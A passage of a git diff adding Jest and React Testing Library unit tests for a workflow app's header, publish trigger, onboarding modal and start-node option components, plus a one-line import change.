+      // Arrange
+      const user = userEvent.setup()
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'publisher-toggle-off' }))
+
+      // Assert
+      expect(mockHandleSyncWorkflowDraft).not.toHaveBeenCalled()
+    })
+  })
+
+  // Verifies publishing behavior across warnings, validation, and success.
+  describe('Publishing', () => {
+    it('should notify error and reject publish when checklist has warning nodes', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockUseChecklist.mockReturnValue([{ id: 'warning' }])
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'publisher-publish' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'error', message: 'workflow.panel.checklistTip' })
+      })
+      expect(mockPublishWorkflow).not.toHaveBeenCalled()
+    })
+
+    it('should reject publish when checklist before publish fails', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockHandleCheckBeforePublish.mockResolvedValue(false)
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act & Assert
+      await user.click(screen.getByRole('button', { name: 'publisher-publish' }))
+
+      await waitFor(() => {
+        expect(mockHandleCheckBeforePublish).toHaveBeenCalled()
+      })
+      expect(mockPublishWorkflow).not.toHaveBeenCalled()
+    })
+
+    it('should publish workflow and update related stores when validation passes', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockUseNodes.mockReturnValue([
+        { id: 'start', data: { type: BlockEnum.Start } },
+      ])
+      mockUseEdges.mockReturnValue([
+        { source: 'start' },
+      ])
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'publisher-publish' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockPublishWorkflow).toHaveBeenCalledWith({
+          url: '/apps/app-id/workflows/publish',
+          title: '',
+          releaseNotes: '',
+        })
+        expect(mockUpdatePublishedWorkflow).toHaveBeenCalledWith('app-id')
+        expect(mockInvalidateAppTriggers).toHaveBeenCalledWith('app-id')
+        expect(mockSetPublishedAt).toHaveBeenCalledWith('2024-01-01T00:00:00Z')
+        expect(mockSetLastPublishedHasUserInput).toHaveBeenCalledWith(true)
+        expect(mockResetWorkflowVersionHistory).toHaveBeenCalled()
+        expect(mockNotify).toHaveBeenCalledWith({ type: 'success', message: 'common.api.actionSuccess' })
+        expect(mockFetchAppDetail).toHaveBeenCalledWith({ url: '/apps', id: 'app-id' })
+        expect(mockSetAppDetail).toHaveBeenCalled()
+      })
+    })
+
+    it('should pass publish params to workflow publish mutation', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'publisher-publish-with-params' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockPublishWorkflow).toHaveBeenCalledWith({
+          url: '/apps/app-id/workflows/publish',
+          title: 'Test title',
+          releaseNotes: 'Test notes',
+        })
+      })
+    })
+
+    it('should log error when app detail refresh fails after publish', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const consoleErrorSpy = jest.spyOn(console, 'error').mockImplementation(() => undefined)
+      mockFetchAppDetail.mockRejectedValue(new Error('fetch failed'))
+
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'publisher-publish' }))
+
+      // Assert
+      await waitFor(() => {
+        expect(consoleErrorSpy).toHaveBeenCalled()
+      })
+      consoleErrorSpy.mockRestore()
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/components/workflow-header/features-trigger.tsx b/web/app/components/workflow-app/components/workflow-header/features-trigger.tsx
index 10e52a2c66..cba66996e8 100644
--- a/web/app/components/workflow-app/components/workflow-header/features-trigger.tsx
+++ b/web/app/components/workflow-app/components/workflow-header/features-trigger.tsx
@@ -36,7 +36,7 @@ import type { PublishWorkflowParams } from '@/types/workflow'
 import { fetchAppDetail } from '@/service/apps'
 import { useStore as useAppStore } from '@/app/components/app/store'
 import useTheme from '@/hooks/use-theme'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useIsChatMode } from '@/app/components/workflow/hooks'
 import type { StartNodeType } from '@/app/components/workflow/nodes/start/types'
 import type { EndNodeType } from '@/app/components/workflow/nodes/end/types'
diff --git a/web/app/components/workflow-app/components/workflow-header/index.spec.tsx b/web/app/components/workflow-app/components/workflow-header/index.spec.tsx
new file mode 100644
index 0000000000..1fff507889
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-header/index.spec.tsx
@@ -0,0 +1,152 @@
+import { render, screen } from '@testing-library/react'
+import type { App } from '@/types/app'
+import { AppModeEnum } from '@/types/app'
+import type { HeaderProps } from '@/app/components/workflow/header'
+import WorkflowHeader from './index'
+
+const mockUseAppStoreSelector = jest.fn()
+const mockSetCurrentLogItem = jest.fn()
+const mockSetShowMessageLogModal = jest.fn()
+const mockResetWorkflowVersionHistory = jest.fn()
+
+let appDetail: App
+
+jest.mock('@/app/components/app/store', () => ({
+  __esModule: true,
+  useStore: (selector: (state: { appDetail?: App; setCurrentLogItem: typeof mockSetCurrentLogItem; setShowMessageLogModal: typeof mockSetShowMessageLogModal }) => unknown) => mockUseAppStoreSelector(selector),
+}))
+
+jest.mock('@/app/components/workflow/header', () => ({
+  __esModule: true,
+  default: (props: HeaderProps) => {
+    const historyFetcher = props.normal?.runAndHistoryProps?.viewHistoryProps?.historyFetcher
+    const hasHistoryFetcher = typeof historyFetcher === 'function'
+
+    return (
+      <div
+        data-testid='workflow-header'
+        data-show-run={String(Boolean(props.normal?.runAndHistoryProps?.showRunButton))}
+        data-show-preview={String(Boolean(props.normal?.runAndHistoryProps?.showPreviewButton))}
+        data-history-url={props.normal?.runAndHistoryProps?.viewHistoryProps?.historyUrl ?? ''}
+        data-has-history-fetcher={String(hasHistoryFetcher)}
+      >
+        <button
+          type="button"
+          onClick={() => props.normal?.runAndHistoryProps?.viewHistoryProps?.onClearLogAndMessageModal?.()}
+        >
+          clear-history
+        </button>
+        <button
+          type="button"
+          onClick={() => props.restoring?.onRestoreSettled?.()}
+        >
+          restore-settled
+        </button>
+      </div>
+    )
+  },
+}))
+
+jest.mock('@/service/workflow', () => ({
+  __esModule: true,
+  fetchWorkflowRunHistory: jest.fn(),
+}))
+
+jest.mock('@/service/use-workflow', () => ({
+  __esModule: true,
+  useResetWorkflowVersionHistory: () => mockResetWorkflowVersionHistory,
+}))
+
+describe('WorkflowHeader', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    appDetail = { id: 'app-id', mode: AppModeEnum.COMPLETION } as unknown as App
+
+    mockUseAppStoreSelector.mockImplementation(selector => selector({
+      appDetail,
+      setCurrentLogItem: mockSetCurrentLogItem,
+      setShowMessageLogModal: mockSetShowMessageLogModal,
+    }))
+  })
+
+  // Verifies the wrapper renders the workflow header shell.
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Act
+      render(<WorkflowHeader />)
+
+      // Assert
+      expect(screen.getByTestId('workflow-header')).toBeInTheDocument()
+    })
+  })
+
+  // Verifies chat mode affects which primary action is shown in the header.
+  describe('Props', () => {
+    it('should configure preview mode when app is in advanced chat mode', () => {
+      // Arrange
+      appDetail = { id: 'app-id', mode: AppModeEnum.ADVANCED_CHAT } as unknown as App
+      mockUseAppStoreSelector.mockImplementation(selector => selector({
+        appDetail,
+        setCurrentLogItem: mockSetCurrentLogItem,
+        setShowMessageLogModal: mockSetShowMessageLogModal,
+      }))
+
+      // Act
+      render(<WorkflowHeader />)
+
+      // Assert
+      const header = screen.getByTestId('workflow-header')
+      expect(header).toHaveAttribute('data-show-run', 'false')
+      expect(header).toHaveAttribute('data-show-preview', 'true')
+      expect(header).toHaveAttribute('data-history-url', '/apps/app-id/advanced-chat/workflow-runs')
+      expect(header).toHaveAttribute('data-has-history-fetcher', 'true')
+    })
+
+    it('should configure run mode when app is not in advanced chat mode', () => {
+      // Arrange
+      appDetail = { id: 'app-id', mode: AppModeEnum.COMPLETION } as unknown as App
+      mockUseAppStoreSelector.mockImplementation(selector => selector({
+        appDetail,
+        setCurrentLogItem: mockSetCurrentLogItem,
+        setShowMessageLogModal: mockSetShowMessageLogModal,
+      }))
+
+      // Act
+      render(<WorkflowHeader />)
+
+      // Assert
+      const header = screen.getByTestId('workflow-header')
+      expect(header).toHaveAttribute('data-show-run', 'true')
+      expect(header).toHaveAttribute('data-show-preview', 'false')
+      expect(header).toHaveAttribute('data-history-url', '/apps/app-id/workflow-runs')
+      expect(header).toHaveAttribute('data-has-history-fetcher', 'true')
+    })
+  })
+
+  // Verifies callbacks clear log state as expected.
+  describe('User Interactions', () => {
+    it('should clear log and close message modal when clearing history modal state', () => {
+      // Arrange
+      render(<WorkflowHeader />)
+
+      // Act
+      screen.getByRole('button', { name: 'clear-history' }).click()
+
+      // Assert
+      expect(mockSetCurrentLogItem).toHaveBeenCalledWith()
+      expect(mockSetShowMessageLogModal).toHaveBeenCalledWith(false)
+    })
+  })
+
+  // Ensures restoring callback is wired to reset version history.
+  describe('Edge Cases', () => {
+    it('should use resetWorkflowVersionHistory as restore settled handler', () => {
+      // Act
+      render(<WorkflowHeader />)
+
+      // Assert
+      screen.getByRole('button', { name: 'restore-settled' }).click()
+      expect(mockResetWorkflowVersionHistory).toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx
new file mode 100644
index 0000000000..81d7dc8af6
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx
@@ -0,0 +1,686 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import WorkflowOnboardingModal from './index'
+import { BlockEnum } from '@/app/components/workflow/types'
+
+// Mock Modal component
+jest.mock('@/app/components/base/modal', () => {
+  return function MockModal({
+    isShow,
+    onClose,
+    children,
+    closable,
+  }: any) {
+    if (!isShow)
+      return null
+
+    return (
+      <div data-testid="modal" role="dialog">
+        {closable && (
+          <button data-testid="modal-close-button" onClick={onClose}>
+            Close
+          </button>
+        )}
+        {children}
+      </div>
+    )
+  }
+})
+
+// Mock useDocLink hook
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => (path: string) => `https://docs.example.com${path}`,
+}))
+
+// Mock StartNodeSelectionPanel (using real component would be better for integration,
+// but for this test we'll mock to control behavior)
+jest.mock('./start-node-selection-panel', () => {
+  return function MockStartNodeSelectionPanel({
+    onSelectUserInput,
+    onSelectTrigger,
+  }: any) {
+    return (
+      <div data-testid="start-node-selection-panel">
+        <button data-testid="select-user-input" onClick={onSelectUserInput}>
+          Select User Input
+        </button>
+        <button
+          data-testid="select-trigger-schedule"
+          onClick={() => onSelectTrigger(BlockEnum.TriggerSchedule)}
+        >
+          Select Trigger Schedule
+        </button>
+        <button
+          data-testid="select-trigger-webhook"
+          onClick={() => onSelectTrigger(BlockEnum.TriggerWebhook, { config: 'test' })}
+        >
+          Select Trigger Webhook
+        </button>
+      </div>
+    )
+  }
+})
+
+describe('WorkflowOnboardingModal', () => {
+  const mockOnClose = jest.fn()
+  const mockOnSelectStartNode = jest.fn()
+
+  const defaultProps = {
+    isShow: true,
+    onClose: mockOnClose,
+    onSelectStartNode: mockOnSelectStartNode,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Helper function to render component
+  const renderComponent = (props = {}) => {
+    return render(<WorkflowOnboardingModal {...defaultProps} {...props} />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should render modal when isShow is true', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should not render modal when isShow is false', () => {
+      // Arrange & Act
+      renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+    })
+
+    it('should render modal title', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.title')).toBeInTheDocument()
+    })
+
+    it('should render modal description', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert - Check both parts of description (separated by link)
+      const descriptionDiv = container.querySelector('.body-xs-regular.leading-4')
+      expect(descriptionDiv).toBeInTheDocument()
+      expect(descriptionDiv).toHaveTextContent('workflow.onboarding.description')
+      expect(descriptionDiv).toHaveTextContent('workflow.onboarding.aboutStartNode')
+    })
+
+    it('should render learn more link', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const learnMoreLink = screen.getByText('workflow.onboarding.learnMore')
+      expect(learnMoreLink).toBeInTheDocument()
+      expect(learnMoreLink.closest('a')).toHaveAttribute('href', 'https://docs.example.com/guides/workflow/node/start')
+      expect(learnMoreLink.closest('a')).toHaveAttribute('target', '_blank')
+      expect(learnMoreLink.closest('a')).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should render StartNodeSelectionPanel', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+    })
+
+    it('should render ESC tip when modal is shown', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.escTip.press')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.escTip.key')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.escTip.toDismiss')).toBeInTheDocument()
+    })
+
+    it('should not render ESC tip when modal is hidden', () => {
+      // Arrange & Act
+      renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByText('workflow.onboarding.escTip.press')).not.toBeInTheDocument()
+    })
+
+    it('should have correct styling for title', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const title = screen.getByText('workflow.onboarding.title')
+      expect(title).toHaveClass('title-2xl-semi-bold')
+      expect(title).toHaveClass('text-text-primary')
+    })
+
+    it('should have modal close button', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('modal-close-button')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should accept isShow prop', () => {
+      // Arrange & Act
+      const { rerender } = renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+
+      // Act
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} />)
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should accept onClose prop', () => {
+      // Arrange
+      const customOnClose = jest.fn()
+
+      // Act
+      renderComponent({ onClose: customOnClose })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should accept onSelectStartNode prop', () => {
+      // Arrange
+      const customHandler = jest.fn()
+
+      // Act
+      renderComponent({ onSelectStartNode: customHandler })
+
+      // Assert
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+    })
+
+    it('should handle undefined onClose gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onClose: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should handle undefined onSelectStartNode gracefully', () => {
+      // Arrange & Act
+      expect(() => {
+        renderComponent({ onSelectStartNode: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions - Start Node Selection
+  describe('User Interactions - Start Node Selection', () => {
+    it('should call onSelectStartNode with Start block when user input is selected', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputButton = screen.getByTestId('select-user-input')
+      await user.click(userInputButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start)
+    })
+
+    it('should call onClose after selecting user input', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const userInputButton = screen.getByTestId('select-user-input')
+      await user.click(userInputButton)
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onSelectStartNode with trigger type when trigger is selected', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerButton = screen.getByTestId('select-trigger-schedule')
+      await user.click(triggerButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined)
+    })
+
+    it('should call onClose after selecting trigger', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const triggerButton = screen.getByTestId('select-trigger-schedule')
+      await user.click(triggerButton)
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should pass tool config when selecting trigger with config', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const webhookButton = screen.getByTestId('select-trigger-webhook')
+      await user.click(webhookButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1)
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, { config: 'test' })
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // User Interactions - Modal Close
+  describe('User Interactions - Modal Close', () => {
+    it('should call onClose when close button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const closeButton = screen.getByTestId('modal-close-button')
+      await user.click(closeButton)
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onSelectStartNode when closing without selection', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      const closeButton = screen.getByTestId('modal-close-button')
+      await user.click(closeButton)
+
+      // Assert
+      expect(mockOnSelectStartNode).not.toHaveBeenCalled()
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+  })
+
+  // Keyboard Event Handling
+  describe('Keyboard Event Handling', () => {
+    it('should call onClose when ESC key is pressed', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onClose when other keys are pressed', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Enter', code: 'Enter' })
+      fireEvent.keyDown(document, { key: 'Tab', code: 'Tab' })
+      fireEvent.keyDown(document, { key: 'a', code: 'KeyA' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should not call onClose when ESC is pressed but modal is hidden', () => {
+      // Arrange
+      renderComponent({ isShow: false })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should clean up event listener on unmount', () => {
+      // Arrange
+      const { unmount } = renderComponent({ isShow: true })
+
+      // Act
+      unmount()
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should update event listener when isShow changes', () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: true })
+
+      // Act - Press ESC when shown
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+
+      // Act - Hide modal and clear mock
+      mockOnClose.mockClear()
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={false} />)
+
+      // Act - Press ESC when hidden
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).not.toHaveBeenCalled()
+    })
+
+    it('should handle multiple ESC key presses', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(3)
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle rapid modal show/hide toggling', async () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: false })
+
+      // Assert
+      expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+
+      // Act
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} />)
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={false} />)
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.queryByTestId('modal')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should handle selecting multiple nodes in sequence', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const { rerender } = renderComponent()
+
+      // Act - Select user input
+      await user.click(screen.getByTestId('select-user-input'))
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+
+      // Act - Re-show modal and select trigger
+      mockOnClose.mockClear()
+      mockOnSelectStartNode.mockClear()
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} />)
+
+      await user.click(screen.getByTestId('select-trigger-schedule'))
+
+      // Assert
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle prop updates correctly', () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act - Update props
+      const newOnClose = jest.fn()
+      const newOnSelectStartNode = jest.fn()
+      rerender(
+        <WorkflowOnboardingModal
+          isShow={true}
+          onClose={newOnClose}
+          onSelectStartNode={newOnSelectStartNode}
+        />,
+      )
+
+      // Assert - Modal still renders with new props
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+
+    it('should handle onClose being called multiple times', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act
+      await user.click(screen.getByTestId('modal-close-button'))
+      await user.click(screen.getByTestId('modal-close-button'))
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(2)
+    })
+
+    it('should maintain modal state when props change', () => {
+      // Arrange
+      const { rerender } = renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act - Change onClose handler
+      const newOnClose = jest.fn()
+      rerender(<WorkflowOnboardingModal {...defaultProps} isShow={true} onClose={newOnClose} />)
+
+      // Assert - Modal should still be visible
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should have dialog role', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should have proper heading hierarchy', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const heading = container.querySelector('h3')
+      expect(heading).toBeInTheDocument()
+      expect(heading).toHaveTextContent('workflow.onboarding.title')
+    })
+
+    it('should have external link with proper attributes', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const link = screen.getByText('workflow.onboarding.learnMore').closest('a')
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should have keyboard navigation support via ESC key', () => {
+      // Arrange
+      renderComponent({ isShow: true })
+
+      // Act
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should have visible ESC key hint', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      const escKey = screen.getByText('workflow.onboarding.escTip.key')
+      expect(escKey.closest('kbd')).toBeInTheDocument()
+      expect(escKey.closest('kbd')).toHaveClass('system-kbd')
+    })
+
+    it('should have descriptive text for ESC functionality', () => {
+      // Arrange & Act
+      renderComponent({ isShow: true })
+
+      // Assert
+      expect(screen.getByText('workflow.onboarding.escTip.press')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.escTip.toDismiss')).toBeInTheDocument()
+    })
+
+    it('should have proper text color classes', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const title = screen.getByText('workflow.onboarding.title')
+      expect(title).toHaveClass('text-text-primary')
+    })
+
+    it('should have underlined learn more link', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const link = screen.getByText('workflow.onboarding.learnMore').closest('a')
+      expect(link).toHaveClass('underline')
+      expect(link).toHaveClass('cursor-pointer')
+    })
+  })
+
+  // Integration Tests
+  describe('Integration', () => {
+    it('should complete full flow of selecting user input node', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Assert - Initial state
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+      expect(screen.getByText('workflow.onboarding.title')).toBeInTheDocument()
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+
+      // Act - Select user input
+      await user.click(screen.getByTestId('select-user-input'))
+
+      // Assert - Callbacks called
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start)
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should complete full flow of selecting trigger node', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Assert - Initial state
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Act - Select trigger
+      await user.click(screen.getByTestId('select-trigger-webhook'))
+
+      // Assert - Callbacks called with config
+      expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, { config: 'test' })
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should render all components in correct hierarchy', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert - Modal is the root
+      expect(screen.getByTestId('modal')).toBeInTheDocument()
+
+      // Assert - Header elements
+      const heading = container.querySelector('h3')
+      expect(heading).toBeInTheDocument()
+
+      // Assert - Description with link
+      expect(screen.getByText('workflow.onboarding.learnMore').closest('a')).toBeInTheDocument()
+
+      // Assert - Selection panel
+      expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument()
+
+      // Assert - ESC tip
+      expect(screen.getByText('workflow.onboarding.escTip.key')).toBeInTheDocument()
+    })
+
+    it('should coordinate between keyboard and click interactions', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent()
+
+      // Act - Click close button
+      await user.click(screen.getByTestId('modal-close-button'))
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+
+      // Act - Clear and try ESC key
+      mockOnClose.mockClear()
+      fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' })
+
+      // Assert
+      expect(mockOnClose).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx
new file mode 100644
index 0000000000..d8ef1a3149
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx
@@ -0,0 +1,348 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import StartNodeOption from './start-node-option'
+
+describe('StartNodeOption', () => {
+  const mockOnClick = jest.fn()
+  const defaultProps = {
+    icon: <div data-testid="test-icon">Icon</div>,
+    title: 'Test Title',
+    description: 'Test description for the option',
+    onClick: mockOnClick,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Helper function to render component
+  const renderComponent = (props = {}) => {
+    return render(<StartNodeOption {...defaultProps} {...props} />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('Test Title')).toBeInTheDocument()
+    })
+
+    it('should render icon correctly', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByTestId('test-icon')).toBeInTheDocument()
+      expect(screen.getByText('Icon')).toBeInTheDocument()
+    })
+
+    it('should render title correctly', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const title = screen.getByText('Test Title')
+      expect(title).toBeInTheDocument()
+      expect(title).toHaveClass('system-md-semi-bold')
+      expect(title).toHaveClass('text-text-primary')
+    })
+
+    it('should render description correctly', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const description = screen.getByText('Test description for the option')
+      expect(description).toBeInTheDocument()
+      expect(description).toHaveClass('system-xs-regular')
+      expect(description).toHaveClass('text-text-tertiary')
+    })
+
+    it('should be rendered as a clickable card', () => {
+      // Arrange & Act
+      const { container } = renderComponent()
+
+      // Assert
+      const card = container.querySelector('.cursor-pointer')
